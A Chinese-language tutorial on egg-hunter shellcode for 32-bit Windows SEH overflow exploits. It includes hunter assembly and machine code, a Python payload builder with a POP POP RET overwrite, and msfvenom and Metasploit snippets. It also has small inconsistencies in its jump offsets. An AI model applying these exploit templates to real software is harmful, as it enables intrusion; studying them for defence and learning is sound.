1. 项目概述从Shellcode到Egg Hunting的进阶之路如果你已经能熟练地编写基础的栈溢出利用代码成功让一个简单的程序崩溃并弹出计算器那么恭喜你你已经迈入了漏洞利用开发的大门。但现实世界中的漏洞利用远非教科书式的理想环境。你常常会面对这样的窘境你精心构造的Shellcode因为缓冲区空间极其有限根本塞不进去或者你的利用代码虽然能成功覆盖返回地址或SEH链却找不到一块足够大且稳定的内存区域来存放你的“大杀器”。这时你需要的就不再是蛮力而是一种更精巧的策略——这就是Egg Hunting蛋猎技术登场的时刻。简单来说Egg Hunting是一种多阶段载荷技术。它的核心思想是“以小博大”先注入一段非常短小精悍的“猎人”代码Egg Hunter这段代码的唯一使命就是在进程的茫茫内存海洋中寻找一个你预先埋藏好的、带有特殊标记即“蛋”Egg的完整Shellcode。一旦找到就立即跳转过去执行。这就像是在一片广阔的沙滩上你先藏好一个宝藏Egg Shellcode然后派出一只训练有素的猎犬Egg Hunter它只知道寻找那个特殊的“蛋”标记找到后就把宝藏挖出来。这种方法完美解决了在受限空间下部署大体积Shellcode的难题是awesome-exploit-development技能树上必须点亮的一环。2. 核心原理深度拆解为什么需要Egg Hunter在深入汇编指令之前我们必须彻底理解Egg Hunter技术诞生的土壤。这不仅仅是“怎么写”的问题更是“为什么必须这么写”的问题。2.1 经典利用场景的局限性传统的缓冲区溢出利用无论是覆盖函数返回地址还是结构化异常处理SEH记录其利用路径通常可以概括为控制EIP - 跳转到Shellcode - 执行。这里的Shellcode直接放置在缓冲区的某个位置比如在填充字符NOP Sled之后。这种方式在以下两种常见场景中会失效空间极度受限目标缓冲区的空间可能只有几十或一两百字节。一个功能稍复杂的反向Shell或Meterpreter的Shellcode动辄三四百字节根本放不下。内存布局不稳定即使缓冲区本身足够大但由于地址空间布局随机化ASLR、安全Cookie等因素你无法精确预测Shellcode在目标进程内存中的最终地址。虽然NOP Sled可以增加命中概率但在空间紧张时NOP Sled本身也是一种奢侈。2.2 Egg Hunter的破局思路Egg Hunter技术将上述的单阶段利用巧妙地拆解为两个阶段第一阶段猎人阶段注入一段极短的、位置无关的汇编代码Egg Hunter。这段代码通常只有20-50字节足以放入绝大多数受限的缓冲区。它的逻辑非常单一从某个已知或可推测的起始地址例如当前栈指针ESP、基址指针EBP或一个固定的内存区域地址开始逐字节或逐页地扫描内存。第二阶段载荷阶段将你的完整Shellcode连同其前方的一个特殊双字标记Egg放置在内存的其他任何地方。这个地方可以是同一个缓冲区的更靠前或更靠后的位置如果缓冲区是分段的。通过其他输入向量如另一个参数、环境变量、文件内容注入到进程内存的另一个区域。利用诸如Heap Spray堆喷等技术将Shellcode大规模地、高概率地布置在内存的特定区域如0x0C0C0C0C附近。Egg Hunter的任务就是找到这个“Egg Shellcode”的组合。为了防止在扫描过程中误将自身代码或内存中的其他偶然数据识别为Egg通用的最佳实践是使用两个连续的、相同的Egg作为标记。即Hunter寻找的模式是EGGEGG8字节。当Hunter在内存中扫描到连续两个相同的预定DWORD值时它就知道紧随其后的就是真正的Shellcode于是执行JMP或CALL指令跳转过去。2.3 技术实现的关键挑战与权衡编写一个健壮的Egg Hunter并非易事它需要解决几个关键问题内存访问异常处理在扫描内存时必然会访问到一些未映射或受保护的内存页如0x00000000附近或内核空间。访问这些地址会触发访问违规异常导致进程崩溃。因此一个生产级的Egg Hunter必须包含异常处理机制通常是使用SEH结构化异常处理将自己包裹起来或者在尝试读取内存前使用诸如NtAccessCheckAndAuditAlarm或NtDisplayString等未文档化的系统调用进行“探针”测试。扫描效率线性扫描整个4GB的32位地址空间是极其低效的。因此Hunter需要智能地确定扫描的起始点和步长。常见的优化包括从栈或堆的已知区域开始或者以内存页通常4KB为粒度进行对齐扫描。Egg的选择Egg标记本身不能出现在Hunter的代码中也不能是常见指令的操作码否则会导致误判。通常选择一个不太可能随机出现的、可打印的ASCII字符串如0x74303077w00t的十六进制表示反过来是t0w。理解了这些“为什么”我们再看那些看似简单的汇编指令就能体会到每一行背后的设计深意。3. 手工编写一个简易Egg Hunter虽然网络上存在大量成熟优化的Egg Hunter例如由skylined编写的经典版本但亲手从零构建一个最简单的版本是理解其精髓的最佳方式。我们将基于一个假设场景我们知道我们的Shellcode被放置在当前栈帧上方地址更高的某个位置并且我们有大约30字节的空间来放置Hunter。下面是一个极度简化、用于教学演示的Egg Hunter注意此版本没有异常处理仅用于原理演示实战中请使用成熟版本。假设我们选择的Egg是0x45474344对应字符串DCGE注意x86是小端序内存中显示为44 43 47 45。; 假设 Egg 0x45474344 (DCGE) ; 假设 Hunter 被放置在地址较低处Shellcode ( Egg) 在地址较高处 start: mov eax, 0x45474344 ; 将我们的Egg标记加载到EAX寄存器 mov edi, esp ; 将当前栈指针作为扫描起点。这是一个假设 ; 实战中可能需要更精确的起点如 ebpoffset search_loop: inc edi ; 扫描下一个地址 cmp [edi], eax ; 比较当前EDI指向的内存值是否等于Egg jne search_loop ; 不相等继续循环 ; 找到第一个Egg add edi, 4 ; 移动指针到下一个DWORD cmp [edi], eax ; 检查是否是连续的第二个Egg jne search_loop ; 如果不是说明是误报继续扫描 ; 成功找到两个连续的Egg sub edi, 4 ; 将EDI指回第一个Egg的起始位置 jmp edi ; 跳转到Egg位置执行。注意跳转后执行的是Egg标记本身所以Shellcode应该在Egg之后。将上述汇编转换为机器码例如使用nasm或在线汇编器\xB8\x44\x43\x47\x45\x8B\xFC\x47\x39\x07\x75\xFB\x83\xC7\x04\x39\x07\x75\xF4\x83\xEF\x04\xFF\xE7这段Hunter代码仅有25字节。它的工作流程是从ESP开始向上扫描内存寻找连续两个0x45474344。找到后跳转到第一个0x45474344所在的地址。重要警告这个Hunter有严重缺陷。第一它没有异常处理一旦EDI指向不可读内存就会崩溃。第二它假设Shellcode在ESP上方这非常不可靠。第三它跳转到了Egg的起始位置这意味着你的Shellcode前面必须有8字节的Egg标记并且这8字节不能是可导致崩溃的非法指令。通常的实践是在Egg标记后跟一个短跳转指令如\xEB\x0A跳过这8字节的标记直接进入Shellcode主体。一个更健壮的布局应该是这样的[内存布局] ... [Hunter代码] ... [其他数据] ... [0x45474344][0x45474344][JMP SHORT 0x0A][实际的Shellcode] ...当Hunter跳转到第一个Egg的地址时它会执行0x45474344这4个字节可能对应无意义的指令然后执行下一个4字节的Egg最后执行JMP SHORT 0x0A机器码\xEB\x0A这条指令会跳过前面的8字节Egg直接落到真正的Shellcode上。4. 实战演练在SEH溢出中集成Egg Hunter让我们结合一个具体的漏洞场景将理论付诸实践。假设我们有一个存在SEH溢出漏洞的32位Windows程序漏洞点缓冲区空间只有约200字节不足以容纳我们的完整Shellcode。4.1 漏洞确认与偏移量计算首先我们遵循标准的SEH溢出利用流程触发崩溃发送一长串定位字符串如Aa0Aa1Aa2...确认可以覆盖SEH链。计算偏移使用调试器插件如mona.pyfor Immunity或ERCfor x64dbg的pattern_offset功能确定覆盖SEH Handler的精确偏移量。假设我们计算出偏移是612字节。寻找POP POP RET Gadget在程序模块中找一个地址不包含坏字符如0x00, 0x0A, 0x0D的POP POP RET指令序列地址用于绕过SEH保护。假设我们找到0x625010B2。控制流劫持构造载荷结构为[612字节填充] [下一条SEH记录地址NSEH] [SEH Handler地址POP POP RET]。覆盖NSEH时我们通常放入一个短跳转指令例如\xEB\x06\x90\x90向前跳转6字节以便跳过SEH Handler地址落入我们紧随其后布置的代码中。但问题来了在SEH Handler地址之后我们可能只有寥寥几十字节的空间不够放完整Shellcode。4.2 部署Egg Hunter与Shellcode我们的策略是将短小的Egg Hunter放在SEH Handler地址之后这有限的空间里。将庞大的Egg Shellcode通过其他方式例如放在填充字符NOP Sled的前面或者利用程序的另一个输入点布置在内存的其他地方比如缓冲区的起始部分。构造最终载荷结构[ 缓冲区布局 ] 偏移 0: [ 8字节 Egg标记 (0x45474344重复两次) ] [ 完整的Shellcode ] [ 若干NOP填充 ] ... 偏移 612: [ NSEH: \xEB\xC0\x90\x90 ] # 短跳转向上跳转 -64 字节跳回到缓冲区前方执行Egg Hunter 偏移 616: [ SEH Handler: 0x625010B2 ] # POP POP RET地址 偏移 620: [ Egg Hunter 代码 (25字节) ] 偏移 645: [ 剩余填充至崩溃点 ]分步解析NSEH的跳转\xEB\xC0是机器码代表JMP SHORT -62。这是一个相对跳转计算方式是0xC0被解释为有符号补码-64。CPU执行时EIP会向前移动-64字节。这精心计算的距离目的是让程序在POP POP RET执行后跳回到SEH Handler地址之前的某个位置也就是我们放置Egg Hunter代码的区域。实际上因为JMP指令本身占2字节EIP在取指后已指向下一条指令所以实际跳转目标是EIP - 64。我们需要通过调试精确调整这个偏移确保准确跳入Hunter的起始点。Egg Hunter的放置我们将上面编译好的25字节Hunter机器码紧挨着放在SEH Handler地址之后偏移620处。Egg与Shellcode的放置我们将0x454743440x45474344这8字节标记和完整的Shellcode放在缓冲区的最开头偏移0处。因为我们的简易Hunter是从ESP开始向上扫描而栈地址通常向下增长高地址向低地址将Shellcode放在缓冲区开头低地址增加了被Hunter扫描到的概率。更可靠的做法是在Hunter中设置一个明确的、指向缓冲区低地址区域的起始扫描点。Hunter的修改我们需要微调之前的Hunter代码使其扫描起点更合理。例如我们可以用MOV EDI, ESP/SUB EDI, 500这样的指令让Hunter从当前栈指针下方低地址500字节处开始扫描这有很大机会覆盖到我们的缓冲区开头。4.3 利用代码示例Python框架#!/usr/bin/env python3 import struct # 1. 定义常量 offset_seh 612 nseh b\xEB\xC0\x90\x90 # JMP SHORT -62; NOP; NOP seh struct.pack(I, 0x625010B2) # POP POP RET 地址小端序 # 2. 生成 Egg Hunter (修改版从 ESP-0x300 开始扫描) # B8 44 43 47 45 mov eax, 0x45474344 # 8B FC mov edi, esp # 81 EF 00 03 00 00 sub edi, 0x300 ; 从ESP-0x300开始扫描 # 47 inc edi # 39 07 cmp [edi], eax # 75 FB jne short -5 # 83 C7 04 add edi, 4 # 39 07 cmp [edi], eax # 75 F4 jne short -12 # 83 EF 04 sub edi, 4 # FF E7 jmp edi egg_hunter ( b\xB8\x44\x43\x47\x45 # mov eax, 0x45474344 b\x8B\xFC # mov edi, esp b\x81\xEF\x00\x03\x00\x00 # sub edi, 0x300 b\x47 # inc edi b\x39\x07 # cmp [edi], eax b\x75\xFB # jne short -5 b\x83\xC7\x04 # add edi, 4 b\x39\x07 # cmp [edi], eax b\x75\xF4 # jne short -12 b\x83\xEF\x04 # sub edi, 4 b\xFF\xE7 # jmp edi ) # 3. 生成 Shellcode (例如用 msfvenom 生成 calc.exe) # msfvenom -p windows/exec CMDcalc.exe -f python -b \x00\x0a\x0d EXITFUNCthread # 注意实际使用前请用 msfvenom 生成这里是示意 shellcode b\xba\xda\x09\x00\x00... # 你的实际Shellcode # 4. 构建缓冲区 egg b\x44\x43\x47\x45 * 2 # 双Egg标记 nop_sled b\x90 * 32 # 少量NOP雪橇增加容错 # 第一部分放置在缓冲区前部的 Egg Shellcode buffer_front egg nop_sled shellcode front_length len(buffer_front) # 第二部分填充至SEH覆盖点 # 我们需要计算从Shellcode结束到SEH覆盖点之间的填充 padding1 bA * (offset_seh - front_length) # 第三部分SEH覆盖结构 Egg Hunter buffer_seh_area nseh seh egg_hunter # 第四部分可能需要的额外填充以确保触发溢出 padding2 bC * (2000 - len(padding1) - len(buffer_front) - len(buffer_seh_area)) # 最终载荷 final_buffer buffer_front padding1 buffer_seh_area padding2 # 5. 写入文件或发送 with open(exploit.bin, wb) as f: f.write(final_buffer) print(f[] 载荷生成完毕总长度{len(final_buffer)} 字节) print(f[] Egg Hunter 长度{len(egg_hunter)} 字节) print(f[] Shellcode 长度{len(shellcode)} 字节)5. 高级技巧与生产级考量当你掌握了基础原理后在实际漏洞利用中你需要考虑更多细节。5.1 选择成熟的Egg Hunter实现永远不要在生产环境中使用自己编写的、没有经过充分测试的简易Hunter。社区已有大量经过实战检验的版本它们解决了异常处理、跨平台兼容性、扫描速度等问题。最著名的资源是skylined的Alpha2/3编码器附带的各种Hunter以及Metasploit框架中的egg_hunter模块。例如Metasploit中的windows/egg_hunterHunter只有32字节并且内置了SEH异常处理。在Metasploit中使用方法# 生成 Hunter msfvenom -p generic/custom PAYLOADFILE./hunter.bin -a x86 --platform windows -e x86/alpha_mixed -f raw -o hunter_encoded.bin # 但更常见的做法是在 exploit 模块中直接指定使用 egg_hunter5.2 处理坏字符Bad Characters坏字符是那些会破坏漏洞利用流程的字节例如0x00空字节C字符串终止符、0x0A换行、0x0D回车、0xFF在某些协议中可能被转义等。你必须确保Egg标记本身不包含坏字符你选择的0x45474344需要检查每个字节。Egg Hunter代码不包含坏字符上面的Hunter代码包含0x00sub edi, 0x300中的00 03 00 00这在很多基于字符串的溢出中是不可接受的。你需要通过编码如Alpha2, Shikata Ga Nai或使用等价的、无坏字符的指令序列来规避。例如可以用多条SUB EDI, 0x1指令或者用ADD指令配合负数来达到同样效果。Shellcode本身已编码规避坏字符使用msfvenom生成Shellcode时务必用-b参数指定坏字符列表。5.3 优化扫描策略与性能对齐扫描以DWORD4字节或内存页4096字节边界进行扫描可以大幅提升速度。例如每次ADD EDI, 4而不是INC EDI。缩小搜索范围如果对目标进程的内存布局有所了解例如知道Shellcode大概率在堆或栈的某个区域可以显著缩小Hunter的扫描范围提高成功率并减少耗时。使用系统调用探测最健壮的Hunter使用如NtAccessCheckAndAuditAlarm或NtDisplayString等系统调用其系统调用号通常稳定来测试一个内存地址是否可读而不会触发异常。这是skylined的Hunter使用的技术。5.4 在64位环境下的变化64位环境下的Egg Hunter原理相同但需要注意寄存器使用RAX,RDI等64位寄存器。地址空间扫描64位地址空间效率问题更突出更需要精确的起始点和优化策略。Egg标记可以使用8字节的QWORD作为标记减少碰撞概率。调用约定编写Hunter时需注意64位的调用约定和指令编码。6. 调试技巧与常见问题排查即使理论完美实战中调试Egg Hunter利用过程也常令人抓狂。以下是一些关键调试技巧6.1 关键断点设置在调试器如x64dbg或Immunity Debugger中设置以下断点至关重要在POP POP RET指令地址这是SEH链被解开的起点确认控制流成功转移到这里。在Egg Hunter代码的起始处确认短跳转指令JMP SHORT准确地将你带到了Hunter的开头。在Hunter内部的循环体在CMP [EDI], EAX指令处设断点观察EDI寄存器的值如何变化确认它在按预期扫描内存。在JMP EDI指令处这是Hunter找到目标后的最终跳转点。在这里检查EDI是否确实指向了你的双Egg标记。6.2 常见失败原因与排查表现象可能原因排查步骤程序在Hunter开始前崩溃SEH覆盖偏移计算错误坏字符破坏了覆盖链POP POP RET地址不可用。1. 重新计算偏移量。2. 检查覆盖区域是否包含坏字符特别是0x00。3. 在调试器中单步跟踪观察SEH链展开过程。Hunter启动后立即访问违规Hunter的起始扫描地址EDI设置错误指向了不可读内存如0x00000000。1. 检查设置EDI的指令如MOV EDI, ESP。2. 在Hunter开始时查看EDI的值是否合理通常在用户态地址范围0x00000000到0x7FFFFFFF。3. 考虑使用带异常处理的成熟Hunter。Hunter陷入无限循环找不到Egg1. Egg标记选择不当与内存中常见数据冲突。2. Shellcode放置的位置不在Hunter的扫描范围内。3. Hunter的扫描步进逻辑有误如误用了INC EDI而不是ADD EDI,4进行DWORD对齐扫描。1. 换一个更独特的Egg标记如0x50905090对应NOP; PUSH EAX; NOP; PUSH EAX不太可能自然出现。2. 在调试器中检查Hunter循环时EDI的值看它是否经过了你的Shellcode所在的内存区域。可能需要调整起始地址或扫描方向。3. 检查你的双Egg标记是否正确放置在Shellcode之前并且是连续的8字节。找到Egg后跳转崩溃跳转地址EDI指向的是Egg标记本身而不是Shellcode代码。Egg标记的字节可能对应非法指令。1. 确保在双Egg标记之后Shellcode之前有一个短跳转指令跳过这8字节标记例如\xEB\x08跳转8字节。2. 或者让Hunter在找到第二个Egg后执行ADD EDI, 8再跳转直接指向Shellcode。在DEP数据执行保护启用环境下失败Hunter或Shellcode所在的内存页没有执行权限。1. 需要利用ROP链调用VirtualProtect或VirtualAlloc来改变内存页属性为可执行PAGE_EXECUTE_READWRITE。2. 或者寻找已经具备可执行权限的内存区域来放置Shellcode如.data段中的某些区域。6.3 一个实用的调试心得在构造利用载荷时我习惯在关键部分插入可识别的“地标”。例如在Egg Hunter代码前后、Egg标记前后插入一段特殊的、不会执行的字节序列如0xDEADC0DE。在调试器的内存转储视图中搜索这些“地标”可以快速定位到你的代码在内存中的实际位置直观地验证内存布局是否符合预期。这比单纯盯着寄存器看地址要直观得多。7. 工具链集成与自动化思考对于经常从事漏洞利用开发的人来说将Egg Hunter流程自动化能极大提升效率。Metasploit集成Metasploit的exploit模板非常强大。在编写自己的exploit模块时可以在payload阶段指定使用egg_hunter。框架会自动处理Hunter的生成、编码和与主Shellcode的拼接。# 在 Metasploit exploit 模块中的示意 def exploit # 生成 Hunter hunter generate_egg_hunter(payload.encoded, payload_badchars, { :checksum true }) # 构造最终载荷将 hunter 放在受限空间payload.encoded 放在其他地方 buf make_nops(target[Offset]) buf hunter buf [target.ret].pack(V) # ... 发送 buf endPython利用框架可以编写一个通用的Python类接收目标偏移、坏字符列表、Shellcode等参数自动完成以下工作选择或生成合适的Egg Hunter根据坏字符过滤。将Egg Hunter编码以避免坏字符。计算并放置短跳转指令的偏移量。自动将Egg和Shellcode放置在载荷的指定位置如前部或后部。输出最终的二进制载荷或Python脚本。Egg Hunting技术是漏洞利用开发者从“入门”走向“熟练”的标志性技能之一。它要求你对内存布局、汇编指令、异常处理和操作系统机制有更深的理解。通过亲手实践将一个复杂的多阶段利用打通你会对“利用稳定性”和“环境适应性”有全新的认识。记住在实战中可靠性永远比炫技更重要。从一个带有异常处理的、久经考验的Egg Hunter实现开始逐步理解其每一行代码的用意才是稳健的进阶之道。